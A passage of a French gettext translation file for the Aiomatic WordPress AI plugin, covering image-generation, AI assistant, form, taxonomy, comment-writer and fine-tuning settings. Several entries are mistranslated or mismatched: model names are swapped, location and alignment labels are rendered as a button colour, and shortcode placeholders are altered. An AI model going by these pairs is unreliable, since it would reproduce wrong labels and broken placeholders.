msgstr "" "Si vous avez sélectionné une région spécifique dans votre compte Microsoft " "Azure, vous devez la saisir ici. Pour en savoir plus, cliquez ici. La valeur par défaut est \"global\"." #: res/aiomatic-main.php:2065 msgid "Microsoft Translator Region Code (Optional)" msgstr "Code régional de Microsoft Translator (facultatif)" #: res/aiomatic-main.php:2070 msgid "global" msgstr "global" #: res/aiomatic-main.php:2087 msgid "" "Set what model to use when generating images. Default is stable-" "diffusion-512-v2-0." msgstr "" "Définit le modèle à utiliser lors de la génération d'images. La valeur par " "défaut est stable-diffusion-512-v2-0." #: res/aiomatic-main.php:2091 msgid "Image Model:" msgstr "Modèle d'image :" #: res/aiomatic-main.php:2101 msgid "stable-diffusion-512-v2-0" msgstr "stable-diffusion-512-v2-0" #: res/aiomatic-main.php:2106 msgid "stable-diffusion-v1" msgstr "stable-diffusion-v1" #: res/aiomatic-main.php:2111 msgid "stable-diffusion-v1-5" msgstr "stable-diffusion-v1-5" #: res/aiomatic-main.php:2116 msgid "stable-diffusion-768-v2-0" msgstr "stable-diffusion-768-v2-0" #: res/aiomatic-main.php:2121 msgid "stable-diffusion-512-v2-1" msgstr "stable-diffusion-512-v2-1" #: res/aiomatic-main.php:2126 msgid "stable-diffusion-768-v2-1" msgstr "stable-diffusion-768-v2-1" #: res/aiomatic-main.php:2131 msgid "stable-inpainting-v1-0" msgstr "stable-inpainting-v1-0" #: res/aiomatic-main.php:2136 msgid "stable-inpainting-512-v2-0" msgstr "stable-inpainting-512-v2-0" #: res/aiomatic-main.php:2141 msgid "esrgan-v1-x2plus" msgstr "esrgan-v1-x2plus" #: res/aiomatic-main.php:2146 msgid "stable-diffusion-xl-beta-v2-2-2" msgstr "stable-diffusion-512-v2-0" #: res/aiomatic-main.php:2151 msgid "stable-diffusion-x4-latent-upscaler" msgstr "stable-diffusion-v1-5" #: res/aiomatic-main.php:2163 msgid "Number of diffusion steps to run. Default is 50." msgstr "Nombre d'étapes de diffusion à exécuter. La valeur par défaut est 50." #: res/aiomatic-main.php:2167 msgid "Sampling Steps:" msgstr "Étapes de l'échantillonnage :" #: res/aiomatic-main.php:2172 msgid "10-250" msgstr "10-250" #: res/aiomatic-main.php:2182 msgid "" "How strictly the diffusion process adheres to the prompt text (higher values " "keep your image closer to your prompt). Default value is 7." msgstr "" "Le degré d'adhérence du processus de diffusion au texte dans le Prompt (des " "valeurs plus élevées rapprochent l'image de le Prompt). La valeur par défaut " "est 7." #: res/aiomatic-main.php:2186 msgid "CFG Scale:" msgstr "Échelle CFG :" #: res/aiomatic-main.php:2191 msgid "0-35" msgstr "0-35" #: res/aiomatic-main.php:2201 msgid "Set what preset to use when generating images. Default is NONE." msgstr "" "Définit le préréglage à utiliser lors de la génération d'images. La valeur " "par défaut est NONE." #: res/aiomatic-main.php:2205 msgid "Clip Guidance Preset:" msgstr "Préréglage du guidage des clips :" #: res/aiomatic-main.php:2215 msgid "NONE" msgstr "AUCUN" #: res/aiomatic-main.php:2220 msgid "FAST_BLUE" msgstr "FAST_BLUE" #: res/aiomatic-main.php:2225 msgid "FAST_GREEN" msgstr "FAST_GREEN" #: res/aiomatic-main.php:2230 msgid "SIMPLE" msgstr "SIMPLE" #: res/aiomatic-main.php:2235 msgid "SLOW" msgstr "LENT" #: res/aiomatic-main.php:2240 msgid "SLOWER" msgstr "LENTEMENT" #: res/aiomatic-main.php:2245 msgid "SLOWEST" msgstr "LE PLUS LENT" #: res/aiomatic-main.php:2256 msgid "" "Which sampler to use for the diffusion process. If this value is omitted " "we'll automatically select an appropriate sampler for you." msgstr "" "L'échantillonneur à utiliser pour le processus de diffusion. Si cette valeur " "est omise, nous sélectionnerons automatiquement un échantillonneur approprié." #: res/aiomatic-main.php:2260 msgid "Sampler:" msgstr "Echantillonnage :" #: res/aiomatic-main.php:2270 msgid "Auto" msgstr "Auto" #: res/aiomatic-main.php:2275 msgid "DDIM" msgstr "DDIM" #: res/aiomatic-main.php:2280 msgid "DDPM" msgstr "DDPM" #: res/aiomatic-main.php:2285 msgid "K_DPMPP_2M" msgstr "K_DPMPP_2M" #: res/aiomatic-main.php:2290 msgid "K_DPMPP_2S_ANCESTRAL" msgstr "K_DPMPP_2S_ANCESTRAL" #: res/aiomatic-main.php:2295 msgid "K_DPM_2" msgstr "K_DPM_2" #: res/aiomatic-main.php:2300 msgid "K_DPM_2_ANCESTRAL" msgstr "K_DPM_2_ANCESTRAL" #: res/aiomatic-main.php:2305 msgid "K_EULER" msgstr "K_EULER" #: res/aiomatic-main.php:2310 msgid "K_EULER_ANCESTRAL" msgstr "K_EULER_ANCESTRAL" #: res/aiomatic-main.php:2315 msgid "K_HEUN" msgstr "K_HEUN" #: res/aiomatic-main.php:2320 msgid "K_LMS" msgstr "K_LMS" #: res/aiomatic-main.php:2331 msgid "AI Image Generator Settings:" msgstr "Paramètres du générateur d'images IA :" #: res/aiomatic-main.php:2338 msgid "Do you want to copy AI generated images locally to your server?" msgstr "" "Voulez-vous copier localement sur votre serveur les images générées par IA ?" #: res/aiomatic-main.php:2342 msgid "Copy AI Generated Images Locally to Your Server:" msgstr "Copiez les images générées par l'IA localement sur votre serveur :" #: res/aiomatic-main.php:2356 msgid "" "By default, the plugin will attempt to translate AI image prompts to " "English. If you are publishing only English content on your site, you can " "disable this feature to speed up image processing." msgstr "" "Par défaut, le plugin tentera de traduire en anglais les Prompts de l'image " "AI. Si vous ne publiez que du contenu en anglais sur votre site, vous pouvez " "désactiver cette fonctionnalité pour accélérer le traitement des images." #: res/aiomatic-main.php:2360 msgid "Don't Attempt To Translate AI Image Prompts To English:" msgstr "N'essayez pas de traduire en anglais les Prompts de l'IA :" #: res/aiomatic-main.php:2375 msgid "" "Resize the AI generated image to the width specified in this text field (in " "pixels). If you want to disable this feature, leave this field blank. This " "feature will work only if you copy AI generated images locally to your " "server." msgstr "" "Redimensionner l'image générée par l'IA à la largeur spécifiée dans ce champ " "de texte (en pixels). Si vous souhaitez désactiver cette fonctionnalité, " "laissez ce champ vide. Cette fonction ne fonctionne que si vous copiez les " "images générées par l'IA localement sur votre serveur." #: res/aiomatic-main.php:2379 msgid "AI Generated Image Resize Width:" msgstr "Image générée par l'IA Redimensionner la largeur :" #: res/aiomatic-main.php:2384 msgid "Please insert the desired width for AI generated images" msgstr "" "Veuillez indiquer la largeur souhaitée pour les images générées par l'IA" #: res/aiomatic-main.php:2394 msgid "" "Resize the AI generated image to the height specified in this text field (in " "pixels). If you want to disable this feature, leave this field blank. This " "feature will work only if you copy AI generated images locally to your " "server." msgstr "" "Redimensionner l'image générée par l'IA à la hauteur spécifiée dans ce champ " "de texte (en pixels). Si vous souhaitez désactiver cette fonction, laissez " "ce champ vide. Cette fonction ne fonctionne que si vous copiez les images " "générées par l'IA localement sur votre serveur." #: res/aiomatic-main.php:2398 msgid "AI Generated Image Resize Height:" msgstr "Redimensionner la hauteur de l'image générée par l'IA :" #: res/aiomatic-main.php:2403 msgid "Please insert the desired height for AI generated images" msgstr "" "Veuillez indiquer la hauteur souhaitée pour les images générées par l'IA" #: res/aiomatic-main.php:2409 msgid "Check the Statistics page " msgstr "Consultez la page Statistiques " #: res/aiomatic-main.php:2411 msgid "Statistics Settings:" msgstr "Paramètres statistiques :" #: res/aiomatic-main.php:2418 msgid "Do you want to enable usage tracking for statistics and usage limits?" msgstr "" "Souhaitez-vous activer le suivi de l'utilisation pour les statistiques et " "les limites d'utilisation ?" #: res/aiomatic-main.php:2422 msgid "Enable Usage Tracking For Statistics And Usage Limits:" msgstr "" "Activer la journalisation des règles Dans l'onglet ''Réglages Généraux'' :" #: res/aiomatic-main.php:2434 msgid "AI Assistant General Settings:" msgstr "Paramètres généraux de l'assistant IA :" #: res/aiomatic-main.php:2441 msgid "Do you want to disable the AI assistant feature of the plugin?" msgstr "" "Voulez-vous désactiver l'assistant d'intelligence artificielle du plugin ?" #: res/aiomatic-main.php:2445 msgid "Disable AI Assistant:" msgstr "Désactiver l'IA Assistant :" #: res/aiomatic-main.php:2463 msgid "" "Set where you would like to add the AI assistant result - above or below the " "selected text." msgstr "" "Définissez l'endroit où vous souhaitez ajouter le résultat de l'assistant " "d'intelligence artificielle - au-dessus ou au-dessous du texte sélectionné." #: res/aiomatic-main.php:2467 msgid "AI Assistant Result Placement:" msgstr "Placement des résultats de l'assistant IA :" #: res/aiomatic-main.php:2484 msgid "AI Assistant Image Settings:" msgstr "Assistant IA Réglages de l'image :" #: res/aiomatic-main.php:2491 msgid "Set the image size of the AI assistant generated images." msgstr "Définissez la taille des images générées par l'assistant IA." #: res/aiomatic-main.php:2495 msgid "AI Assistant Image Size:" msgstr "Taille de l'Image générée par l'Assistant IA :" #: res/aiomatic-main.php:2517 msgid "AI Assistant Text Completion Settings:" msgstr "Paramètres de complétion de texte de l'assistant IA :" #: res/aiomatic-main.php:2524 msgid "Set the model to use for the AI Assistant feature." msgstr "Définir le modèle à utiliser pour la fonction Assistant IA." #: res/aiomatic-main.php:2528 msgid "AI Assistant Model:" msgstr "Modèle d'assistant d'IA :" #: res/aiomatic-main.php:2556 msgid "AI Assistant Temperature:" msgstr "Assistant de Température de l’IA :" #: res/aiomatic-main.php:2571 msgid "AI Assistant Top_p:" msgstr "Assistant IA Top_p :" #: res/aiomatic-main.php:2586 msgid "AI Assistant Presence Penalty:" msgstr "Pénalité de présence de l'assistant d'IA :" #: res/aiomatic-main.php:2601 msgid "AI Assistant Frequency Penalty:" msgstr "Pénalité de fréquence de l'assistant IA :" #: res/aiomatic-main.php:2611 msgid "AI Assistant Prompts:" msgstr "Assistant IA de Prompts :" #: res/aiomatic-main.php:2617 msgid "Menu name" msgstr "Nom du menu" #: res/aiomatic-main.php:2621 msgid "Set the name of the command, which will appear in the post editor." msgstr "" "Définissez le nom de la commande, qui apparaîtra dans l'éditeur de messages." #: res/aiomatic-main.php:2627 res/aiomatic-single-list.php:700 #: res/aiomatic-single-list.php:709 res/aiomatic-single-list.php:718 #: res/aiomatic-single-list.php:749 res/aiomatic-training.php:161 msgid "Prompt" msgstr "Prompt" #: res/aiomatic-main.php:2631 #, php-format msgid "" "Set the prompt to be sent to the AI when clicking on this command in post " "editor. You can use the %%selected_text%% shortcode also." msgstr "" "Définit le prompt à envoyer à l'IA lorsqu'il clique sur cette commande dans " "l'éditeur de texte. Vous pouvez également utiliser le shortcode " "%%selected_text%%." #: res/aiomatic-main.php:2641 msgid "Set the type of the prompt you are creating." msgstr "Définissez le type du Pompt que vous créez." #: res/aiomatic-main.php:2677 res/aiomatic-main.php:6594 msgid "Add a menu name" msgstr "Ajouter un nom de menu" #: res/aiomatic-main.php:2678 res/aiomatic-main.php:6595 msgid "Add a prompt" msgstr "Ajouter un prompt" #: res/aiomatic-main.php:2695 msgid "AI Forms Restrictions:" msgstr "Restrictions du Formulaires IA :" #: res/aiomatic-main.php:2702 msgid "Select the min length for form input fields." msgstr "Sélectionnez la longueur minimale des champs de saisie du formulaire." #: res/aiomatic-main.php:2706 msgid "Form Input Fields Min Length:" msgstr "Longueur minimale des champs de saisie du formulaire :" #: res/aiomatic-main.php:2718 msgid "Select the max length for form input fields." msgstr "Sélectionnez la longueur maximale des champs de saisie du formulaire." #: res/aiomatic-main.php:2722 msgid "Form Input Fields Max Length:" msgstr "Longueur maximale des champs de saisie du formulaire :" #: res/aiomatic-main.php:2728 msgid "AI Forms Image Options:" msgstr "Options d’image libre de droits :" #: res/aiomatic-main.php:2735 msgid "Select the image size for AI generated images." msgstr "Sélectionnez la taille des images générées par l'IA." #: res/aiomatic-main.php:2739 msgid "AI Generated Image Size:" msgstr "Taille de l'Image générée par l'IA :" #: res/aiomatic-main.php:2749 msgid "AI Forms Options:" msgstr "Options des formulaires IA :" #: res/aiomatic-main.php:2756 msgid "Select if you want to show advanced form options for users." msgstr "" "Sélectionnez si vous souhaitez afficher les options avancées du formulaire " "pour les utilisateurs." #: res/aiomatic-main.php:2760 msgid "Show Advanced Form Options For Users:" msgstr "Afficher les options avancées du formulaire pour les utilisateurs :" #: res/aiomatic-main.php:2775 msgid "" "Select if you want to show a WP Rich Text editor instead of a plain textarea " "for the AI results output." msgstr "" "Indiquez si vous souhaitez afficher un éditeur de texte enrichi WP au lieu " "d'un simple espace de texte pour les résultats de l'IA." #: res/aiomatic-main.php:2779 msgid "Show WP Rich Text Editor Input For AI Form Results:" msgstr "" "Afficher les entrées de l'éditeur de texte enrichi de WP pour les résultats " "du formulaire IA :" #: res/aiomatic-main.php:2794 msgid "Select the location of the submit button." msgstr "Sélectionnez l'emplacement du bouton de soumission." #: res/aiomatic-main.php:2798 msgid "Submit Button Location:" msgstr "Couleur du bouton Soumettre :" #: res/aiomatic-main.php:2807 msgid "Under Input Fields" msgstr "Sous Champs de saisie" #: res/aiomatic-main.php:2812 msgid "Above Input Fields" msgstr "Champs de saisie ci-dessus" #: res/aiomatic-main.php:2817 msgid "Under Result Field" msgstr "Sous le champ Résultat" #: res/aiomatic-main.php:2822 msgid "Under Advanced Settings" msgstr "Sous Paramètres avancés" #: res/aiomatic-main.php:2832 msgid "Select the alignment of the submit button." msgstr "Sélectionnez l'alignement du bouton de soumission." #: res/aiomatic-main.php:2836 msgid "Submit Button Alignment:" msgstr "Couleur du bouton Soumettre :" #: res/aiomatic-main.php:2845 msgid "Left" msgstr "Gauche" #: res/aiomatic-main.php:2850 msgid "Center" msgstr "Centre" #: res/aiomatic-main.php:2855 msgid "Right" msgstr "Droite" #: res/aiomatic-main.php:2859 msgid "AI Forms Styling:" msgstr "Style du formulaire IA :" #: res/aiomatic-main.php:2866 msgid "Select the Background color of the form." msgstr "Sélectionnez la couleur d'arrière-plan du formulaire." #: res/aiomatic-main.php:2870 msgid "Form Background Color:" msgstr "Couleur d’arrière-plan du formulaire:" #: res/aiomatic-main.php:2882 msgid "Select the text color of the form." msgstr "Sélectionnez la couleur du texte du formulaire." #: res/aiomatic-main.php:2886 msgid "Form Text Color:" msgstr "Couleur du texte du formulaire :" #: res/aiomatic-main.php:2898 msgid "Select the button color of the form." msgstr "Sélectionnez la couleur du bouton du formulaire." #: res/aiomatic-main.php:2902 msgid "Form Button Color:" msgstr "Couleur du bouton Soumettre :" #: res/aiomatic-main.php:2914 msgid "Select the button text color of the form." msgstr "Sélectionnez la couleur du texte du bouton du formulaire." #: res/aiomatic-main.php:2918 msgid "Form Button Text Color:" msgstr "Couleur du texte du bouton du formulaire :" #: res/aiomatic-main.php:2932 msgid "AI Taxonomy Description Writer Settings:" msgstr "Taxonomie AI Description Paramètres du rédacteur :" #: res/aiomatic-main.php:2939 msgid "" "Select the default model you want to use for the AI Taxonomy Description " "Writer." msgstr "" "Sélectionnez le modèle par défaut que vous souhaitez utiliser pour le " "rédacteur de la description de la taxonomie AI." #: res/aiomatic-main.php:2943 msgid "AI Taxonomy Description Writer Model:" msgstr "Description de la taxonomie de l'IA Modèle du rédacteur :" #: res/aiomatic-main.php:2970 #, php-format msgid "" "Set the prompt to be used for the AI Taxonomy Description Writer feature. " "You can use the following shortcodes here: %%term_name%%, %%term_id%%, " "%%term_slug%%, %%term_description%%, %%term_taxonomy_name%%, " "%%term_taxonomy_id%% - default is: Write a description for a WordPress " "%%term_taxonomy_name%% with the following title: \"%%term_name%%\"" msgstr "" "Définissez le Prompt à utiliser pour la fonction AI Taxonomy Description " "Writer. Vous pouvez utiliser les shortcodes suivants ici : %%term_name%%, " "%%term_id%%, %%term_slug%%, %%term_description%%, %%term_taxonomy_name%%, " "%%term_taxonomy_id%% - par défaut : Rédiger une description pour un " "%%term_taxonomy_name%% WordPress avec le titre suivant : \"%%term_name%%\" : " "\"%%nom_du_terme%%\"" #: res/aiomatic-main.php:2974 msgid "AI Taxonomy Description Writer Prompt:" msgstr "Description de la taxonomie de l'IA à la rédaction du Prompt :" #: res/aiomatic-main.php:2986 msgid "" "Select if you want to enable automatic processing and description creation " "using AI of all newly added taxonomies for the taxonomy names you select " "(which don't already have a description set when they are created)." msgstr "" "Sélectionnez si vous souhaitez activer le traitement automatique et la " "création de descriptions à l'aide de l'IA pour toutes les taxonomies " "nouvellement ajoutées pour les noms de taxonomie que vous sélectionnez (qui " "n'ont pas déjà une description définie lorsqu'elles sont créées)." #: res/aiomatic-main.php:2990 msgid "Enable Automatic Processing Of All Newly Added Taxonomies For:" msgstr "" "Activer le traitement automatique de toutes les taxonomies nouvellement " "ajoutées pour :" #: res/aiomatic-main.php:3012 msgid "AI Taxonomy SEO Meta Writer Settings:" msgstr "AI Taxonomy SEO Meta Writer Paramètres :" #: res/aiomatic-main.php:3019 msgid "" "Select if you want to enable also SEO meta description writing for the " "taxonomies. Note that this will work only for taxonomies automatically " "processed using the 'nable Automatic Processing Of All Newly Added " "Taxonomies For' settings field from above. Also, note that you will need to " "have a SEO plugin installed on your site, from the following list: Yoast " "SEO, All In One SEO, Rank Math." msgstr "" "Sélectionnez si vous souhaitez activer la rédaction de méta-descriptions SEO " "pour les taxonomies. Notez que cela ne fonctionnera que pour les taxonomies " "traitées automatiquement à l'aide du champ de configuration \"Activer le " "traitement automatique de toutes les taxonomies nouvellement ajoutées pour\" " "ci-dessus. Notez également que vous devrez avoir un plugin SEO installé sur " "votre site, parmi la liste suivante : Yoast SEO, All In One SEO, Rank Math." #: res/aiomatic-main.php:3023 msgid "Enable SEO Meta Description Writing:" msgstr "Activer la rédaction de méta-descriptions pour le référencement :" #: res/aiomatic-main.php:3033 msgid "Off" msgstr "Désactivé" #: res/aiomatic-main.php:3038 msgid "Copy The Taxonomy Description" msgstr "Copier la description de la taxonomie" #: res/aiomatic-main.php:3043 msgid "Write Separate SEO Description" msgstr "Rédiger une description SEO distincte" #: res/aiomatic-main.php:3054 msgid "" "Select the default model you want to use for the AI Taxonomy SEO Description " "Writer. This will set the SEO description for the following SEO plugins: " "Yoast SEO, All In One SEO, Rank Math." msgstr "" "Sélectionnez le modèle par défaut que vous souhaitez utiliser pour le " "rédacteur de la description SEO de la taxonomie AI. Ceci définira la " "description SEO pour les plugins SEO suivants : Yoast SEO, All In One SEO, " "Rank Math." #: res/aiomatic-main.php:3058 msgid "AI Taxonomy SEO Description Writer Model:" msgstr "Taxonomie AI SEO Description Writer Model :" #: res/aiomatic-main.php:3085 #, php-format msgid "" "Set the prompt to be used for the AI Taxonomy SEO Description Writer " "feature. You can use the following shortcodes here: %%term_name%%, " "%%term_id%%, %%term_slug%%, %%term_description%%, %%term_taxonomy_name%%, " "%%term_taxonomy_id%% - default is: Write a description for a WordPress " "%%term_taxonomy_name%% with the following title: \"%%term_name%%\". This " "will set the SEO description for the following SEO plugins: Yoast SEO, All " "In One SEO, Rank Math." msgstr "" "Définissez le Prompt à utiliser pour la fonctionnalité AI Taxonomy SEO " "Description Writer. Vous pouvez utiliser les shortcodes suivants ici : " "%%term_name%%, %%term_id%%, %%term_slug%%, %%term_description%%, " "%%term_taxonomy_name%%, %%term_taxonomy_id%% - par défaut : Rédiger une " "description pour un %%nom_taxonomie%% WordPress avec le titre suivant : " "\"%%nom_taxonomie%%\" : \"%%nom_du_terme%%\". Ceci définira la description " "SEO pour les plugins SEO suivants : Yoast SEO, All In One SEO, Rank Math." #: res/aiomatic-main.php:3089 msgid "AI Taxonomy SEO Description Writer Prompt:" msgstr "AI Taxonomy SEO Description Ecriture du Prompt :" #: res/aiomatic-main.php:3095 res/aiomatic-more.php:65 msgid "AI Taxonomy Description Writer Tutorial Video:" msgstr "Tutoriel vidéo sur la rédaction d'une description de taxonomie AI :" #: res/aiomatic-main.php:3103 msgid "AI Comment Writer Settings:" msgstr "Paramètres du rédacteur de commentaires AI :" #: res/aiomatic-main.php:3110 msgid "Select the default model you want to use for the AI Comment Writer." msgstr "" "Sélectionnez le modèle par défaut que vous souhaitez utiliser pour le " "rédacteur de commentaires AI." #: res/aiomatic-main.php:3114 msgid "AI Comment Writer Model:" msgstr "Modèle de rédacteur de commentaires AI :" #: res/aiomatic-main.php:3141 #, php-format msgid "" "Set the prompt to be used for the AI Comment Writer feature. You can use the " "following shortcodes here: %%post_title%%, %%post_excerpt%%, %%username%%, " "%%comment%% - default is: Write a reply for %%username%%'s comment on the " "post titled \"%%post_title%%\". The user's comment is: %%comment%%" msgstr "" "Définissez le prompt à utiliser pour la fonction de l'IA Ecriture de " "commentaire. Vous pouvez utiliser les shortcodes suivants : %%post_title%%, " "%%post_excerpt%%, %%username%%, %%comment%% - par défaut : Rédigez une " "réponse au commentaire de %%nom_utilisateur%% sur l'article intitulé " "\"%%titre_de_l'article%%\". Le commentaire de l'utilisateur est le suivant : " "%%commentaire%%" #: res/aiomatic-main.php:3145 msgid "AI Comment Writer Prompt:" msgstr "Rédacteur de commentaires du prompt par l'IA :" #: res/aiomatic-main.php:3151 msgid "AI Comment Writer Tutorial Video:" msgstr "Tutoriel vidéo sur l'éditeur de contenu AI :" #: res/aiomatic-main.php:3159 res/aiomatic-more.php:33 msgid "[aicontent] Shortcode:" msgstr "[aicontent] Shortcode / Code court :" #: res/aiomatic-main.php:3166 msgid "" "Select the default model you want to use for the [aicontent] shortcode. You " "can defined this also in shortcode parameters." msgstr "" "Sélectionnez le modèle par défaut que vous souhaitez utiliser pour le " "shortcode [aicontent]. Vous pouvez également le définir dans les paramètres " "du shortcode." #: res/aiomatic-main.php:3170 msgid "[aicontent] Shortcode Default Model:" msgstr "[aicontent] Shortcode / Code court Model par Default :" #: res/aiomatic-main.php:3201 msgid "[aicontent] Shortcode Temperature:" msgstr "[aicontent] Temperature Shortcode / Code court :" #: res/aiomatic-main.php:3216 msgid "[aicontent] Shortcode Top_p:" msgstr "[aicontent] Shortcode / Code court Top_p :" #: res/aiomatic-main.php:3231 msgid "[aicontent] Shortcode Presence Penalty:" msgstr "[aicontent] Shortcode / Code court Présence Pénalité :" #: res/aiomatic-main.php:3246 msgid "[aicontent] Shortcode Frequency Penalty:" msgstr "[aicontent] Shortcode / Code court Fréquence des Pénalités :" #: res/aiomatic-main.php:3260 msgid "Bulk AI Post Creator Settings:" msgstr "Paramètres du créateur de posts IA en vrac :" #: res/aiomatic-main.php:3267 msgid "" "Add a time period between the plugin will run importing at a schedule. To " "disable this feature, leave this field blank. This works based on your " "current server timezone and time. Your current server time is: " msgstr "" "Ajoutez une période de temps entre le moment où le plugin lancera " "l'importation selon un calendrier. Pour désactiver cette fonctionnalité, " "laissez ce champ vide. Cette fonction est basée sur le fuseau horaire et " "l'heure de votre serveur. L'heure actuelle de votre serveur est : " #: res/aiomatic-main.php:3271 msgid "Automatically Run Rules Only Between These Hour Periods Each Day:" msgstr "" "Exécuter automatiquement les règles uniquement entre ces périodes d'une " "heure chaque jour :" #: res/aiomatic-main.php:3274 msgid "Run Rules Only After This Hour" msgstr "Exécuter les règles seulement après cette heure" #: res/aiomatic-main.php:3275 msgid "Run Rules Only Before This Hour" msgstr "Exécuter les règles uniquement avant cette heure" #: res/aiomatic-main.php:3283 msgid "" "Check this to force the plugin to make draft posts before they would be " "fully published. This can help you you use other third party plugins with " "the automatically published posts." msgstr "" "Cochez cette case pour forcer le plugin à créer des brouillons d'articles " "avant qu'ils ne soient entièrement publiés. Cela peut vous aider à utiliser " "d'autres plugins tiers avec les articles publiés automatiquement." #: res/aiomatic-main.php:3287 msgid "Draft Posts First, And Publish Them Afterwards:" msgstr "Rédigez d'abord vos messages et publiez-les ensuite :" #: res/aiomatic-main.php:3303 msgid "" "Choose if you want to skip checking for duplicate post titles when " "publishing new posts. If you check this, duplicate post titles will be " "posted! So use it only when it is necesarry." msgstr "" "Choisissez si vous voulez ignorer la vérification des titres d'articles en " "double lors de la publication de nouveaux articles. Si vous cochez cette " "case, les titres des articles en double seront affichés ! N'utilisez donc " "cette option que lorsque c'est nécessaire." #: res/aiomatic-main.php:3307 msgid "Do Not Check For Duplicate Titles:" msgstr "Ne pas vérifier les titres en double :" #: res/aiomatic-main.php:3322 msgid "" "Choose if you want to receive a summary of the rule running in an email." msgstr "" "Choisissez si vous souhaitez recevoir un résumé de l'exécution de la règle " "pa E-mail." #: res/aiomatic-main.php:3326 msgid "Send Rule Running Summary in Email:" msgstr "" "Envoyer le résumé de l'exécution de la règle par courrier électronique :" #: res/aiomatic-main.php:3341 msgid "" "Input the email adress where you want to send the report. You can input more " "email addresses, separated by commas." msgstr "" "Saisissez l’adresse e-mail à laquelle vous souhaitez envoyer le rapport. " "Vous pouvez saisir d’autres adresses e-mail, séparées par des virgules." #: res/aiomatic-main.php:3345 msgid "Email Address:" msgstr "Adresse Email :" #: res/aiomatic-main.php:3350 msgid "Input a valid email adress" msgstr "Saisissez une adresse e-mail valide" #: res/aiomatic-main.php:3362 msgid "Set the required words list that will apply to all plugin rules." msgstr "" "Définir la liste des mots obligatoires qui s'appliqueront à toutes les " "règles du plugin." #: res/aiomatic-main.php:3366 msgid "Global Required Words List:" msgstr "Liste Globale des mots obligatoires :" #: res/aiomatic-main.php:3371 msgid "Please insert the global required words list" msgstr "Veuillez insérer la liste des mots globaux requis" #: res/aiomatic-main.php:3381 msgid "" "Choose if you want to require only one word from the 'Required Words List' " "for the post to be accepted." msgstr "" "Choisissez si vous voulez exiger un seul mot de la \"liste des mots requis\" " "pour que l'article soit accepté." #: res/aiomatic-main.php:3385 msgid "Require Only One Word From The 'Required Words List':" msgstr "N'exiger qu'un seul mot de la \"liste des mots requis\" :" #: res/aiomatic-main.php:3400 msgid "Set the banned words list that will apply to all plugin rules." msgstr "" "Définir la liste des mots interdits qui s'appliquera à toutes les règles du " "plugin." #: res/aiomatic-main.php:3404 msgid "Global Banned Words List:" msgstr "Liste globale des mots interdits :" #: res/aiomatic-main.php:3409 msgid "Please insert the global banned words list" msgstr "Veuillez insérer la liste des mots interdits au niveau Global" #: res/aiomatic-main.php:3413 msgid "Notification Settings:" msgstr "Paramètres de notification :" #: res/aiomatic-main.php:3420 msgid "" "Select an email address where a notification will be sent, in case a " "specific rule depleted its keywords and it did not publish any new content " "because of this. This will be applied only if you check the 'Process Each " "Title/Topic Only Once' checkbox in rules. You can enter a comma separated " "list of email addresses which will be notified." msgstr "" "Sélectionnez une adresse électronique à laquelle une notification sera " "envoyée, au cas où une règle spécifique aurait épuisé ses mots-clés et " "qu'elle n'aurait pas publié de nouveau contenu pour cette raison. Ceci ne " "sera appliqué que si vous cochez la case \"Traiter chaque titre/sujet une " "seule fois\" dans les règles. Vous pouvez saisir une liste d'adresses " "électroniques séparées par des virgules qui seront notifiées." #: res/aiomatic-main.php:3424 msgid "" "Send An Email Notification When A Specific Rule Has Depleted Its Keywords/" "Topics:" msgstr "" "Envoyer une notification par courrier électronique lorsqu'une règle " "spécifique a épuisé ses mots-clés/sujets :" #: res/aiomatic-main.php:3436 msgid "Internal Links Keyword Extractor Settings:" msgstr "Paramètres de l'extracteur de mots clés des Liens internes :" #: res/aiomatic-main.php:3443 msgid "" "Select the language of the automatic keyword extractor, which is used for " "the internal linking feature of the plugin." msgstr "" "Sélectionnez la langue de l'extracteur automatique de mots-clés, qui est " "utilisé pour la fonction de liens internes du plugin." #: res/aiomatic-main.php:3447 msgid "Built-in Keyword Extractor Language:" msgstr "Extracteur de mots-clés intégré par Langue :" #: res/aiomatic-main.php:3545 msgid "" "Select in which parts of the posts published on your site do you want to " "search for related keywords. If you leave this field blank, the default " "values will be post title and content." msgstr "" "Sélectionnez les parties des articles publiés sur votre site dans lesquelles " "vous souhaitez rechercher des mots-clés connexes. Si vous laissez ce champ " "vide, les valeurs par défaut seront le titre et le contenu de l'article." #: res/aiomatic-main.php:3549 msgid "Search Keywords For Related Posts, In:" msgstr "Mots-clés de recherche pour les articles connexes, In :" #: res/aiomatic-main.php:3574 msgid "More details about Fine-Tuning, check " msgstr "Plus de détails sur le réglage fin, vérifier " #: res/aiomatic-main.php:3574 msgid "the 'AI Model Training' settings page" msgstr "" "la page de configuration \"AI model training\" (apprentissage du modèle d'IA)" #: res/aiomatic-main.php:3576 msgid "Fine-Tuning Settings:" msgstr "Paramètres des réglages :" #: res/aiomatic-main.php:3580 msgid "Warning! This feature is not supported for AiomaticAPI!" msgstr "" "Attention ! Cette fonctionnalité n'est pas prise en charge par AiomaticAPI !" #: res/aiomatic-main.php:3584 msgid "Warning! This feature is not supported for Azure OpenAI API!" msgstr "" "Attention ! Cette fonctionnalité n'est pas prise en charge par l'API Azure " "OpenAI !" #: res/aiomatic-main.php:3593 msgid "" "If you are using fine tuned models, it is recommended you add the prompt " "suffix you used in your model training data, so the plugin can automatically " "add it to the prompts. The default is: \" ->\" (without the double quotes). " "Don't use new lines for suffixes (\\n) as currently they are not supported)." msgstr "" "Si vous utilisez des modèles affinés, il est recommandé d'ajouter le suffixe " "du Prompt que vous avez utilisé dans les données d'entraînement de votre " "modèle, afin que le plugin puisse l'ajouter automatiquement aux Prompts. La " "valeur par défaut est : \" ->\" (sans les guillemets). N'utilisez pas de " "nouvelles lignes pour les suffixes (\\n) car ils ne sont pas supportés " "actuellement)." #: res/aiomatic-main.php:3597 msgid "Suffix For Fine-Tuning Prompts:" msgstr "Suffixe pour le réglage fin des Prompts:" #: res/aiomatic-main.php:3612 msgid "" "If you are using fine tuned models, it is recommended you add the completion " "suffix you used in your model training data, so the plugin can automatically " "add it to the completions. The default is: \" ###\". Don't use new lines for " "suffixes (\\n) as currently they are not supported)." msgstr "" "Si vous utilisez des modèles affinés, il est recommandé d'ajouter le suffixe " "de complétion que vous avez utilisé dans les données d'entraînement de votre " "modèle, afin que le plugin puisse l'ajouter automatiquement aux complétions. " "La valeur par défaut est : \" ###\". N'utilisez pas de nouvelles lignes pour " "les suffixes (\\n) car ils ne sont pas supportés actuellement)." #: res/aiomatic-main.php:3616 msgid "Suffix For Fine-Tuning Completions:" msgstr "Suffixe pour les compléments d'information fin :" #: res/aiomatic-main.php:3631 msgid "More 